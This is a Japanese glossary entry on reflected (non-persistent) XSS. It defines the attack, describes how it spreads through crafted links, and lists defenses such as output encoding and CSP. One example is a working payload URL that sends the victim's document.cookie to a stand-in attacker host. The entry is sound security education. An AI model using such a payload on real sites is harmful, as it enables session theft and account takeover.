反射型 XSS
反射型 XSS とは何ですか?
反射型 XSS攻撃者が制御するリクエストパラメータが即時にレスポンスへ反映され、被害者のブラウザで実行される非永続型 XSS。
反射型 XSS(非永続型、Type-1)は、Web アプリケーションが HTTP リクエスト中のデータ(多くは URL クエリ文字列やフォーム入力)を取り出し、適切な出力エンコードを行わずレスポンスに含めてしまった場合に発生します。攻撃には被害者が細工されたリンクをクリックする必要があるため、フィッシング、悪性広告、チャットメッセージなどを介して配布されるのが一般的です。成功するとセッション Cookie の窃取、ユーザに代わった操作、最終的な完全なアカウント乗っ取りへと発展する可能性があります。対策には文脈別の HTML エンコード、厳格な Content Security Policy、テンプレートを自動エスケープするフレームワークの活用が含まれます。
● 例
- 01
https://example.com/search?q=<script>document.location='https://evil/?c='+document.cookie</script>
- 02
サニタイズされない 'message' パラメータをそのまま DOM に挿入するエラーページ。
● よくある質問
反射型 XSS とは何ですか?
攻撃者が制御するリクエストパラメータが即時にレスポンスへ反映され、被害者のブラウザで実行される非永続型 XSS。 サイバーセキュリティの 攻撃と脅威 カテゴリに属します。
反射型 XSS とはどういう意味ですか?
攻撃者が制御するリクエストパラメータが即時にレスポンスへ反映され、被害者のブラウザで実行される非永続型 XSS。
反射型 XSS はどのように機能しますか?
反射型 XSS(非永続型、Type-1)は、Web アプリケーションが HTTP リクエスト中のデータ(多くは URL クエリ文字列やフォーム入力)を取り出し、適切な出力エンコードを行わずレスポンスに含めてしまった場合に発生します。攻撃には被害者が細工されたリンクをクリックする必要があるため、フィッシング、悪性広告、チャットメッセージなどを介して配布されるのが一般的です。成功するとセッション Cookie の窃取、ユーザに代わった操作、最終的な完全なアカウント乗っ取りへと発展する可能性があります。対策には文脈別の HTML エンコード、厳格な Content Security Policy、テンプレートを自動エスケープするフレームワークの活用が含まれます。
反射型 XSS からどのように防御しますか?
反射型 XSS に対する防御は通常、上記の定義で述べたとおり、技術的統制と運用上の実践を組み合わせます。
反射型 XSS の別名は何ですか?
一般的な別名: 非永続型 XSS, Type-1 XSS。
● 関連用語
- attacks№ 240
クロスサイトスクリプティング(XSS)
他のユーザーが閲覧するページに悪意あるスクリプトを注入し、当該サイトのオリジンとして被害者のブラウザで実行させる Web 脆弱性。
- attacks№ 1107
格納型 XSS
攻撃者が送り込んだスクリプトがサーバ側に保存され、ページを閲覧したすべてのユーザのブラウザで実行される永続型クロスサイトスクリプティング。
- attacks№ 347
DOM ベース XSS
クライアントサイドの JavaScript が信頼できないデータをサニタイズせずに DOM シンクへ書き込むことで、注入と実行がすべてブラウザ内で完結する XSS。
- appsec№ 214
コンテンツセキュリティポリシー (CSP)
スクリプト・スタイル・フレームなどの読み込み元をブラウザに指示する HTTP レスポンスヘッダで、XSS やデータ注入攻撃の影響を抑える。
- attacks№ 821
フィッシング
信頼できる組織になりすまし、被害者から認証情報を取得したり送金させたり、マルウェアを実行させたりするソーシャルエンジニアリング攻撃。
- appsec№ 773
出力エンコーディング
信頼できないデータを HTML・JavaScript・URL・SQL・シェルなど特定の出力コンテキストで安全な形式に変換し、コードとして実行されるのを防ぐ処理。
● 関連項目
- № 104ブラインド XSS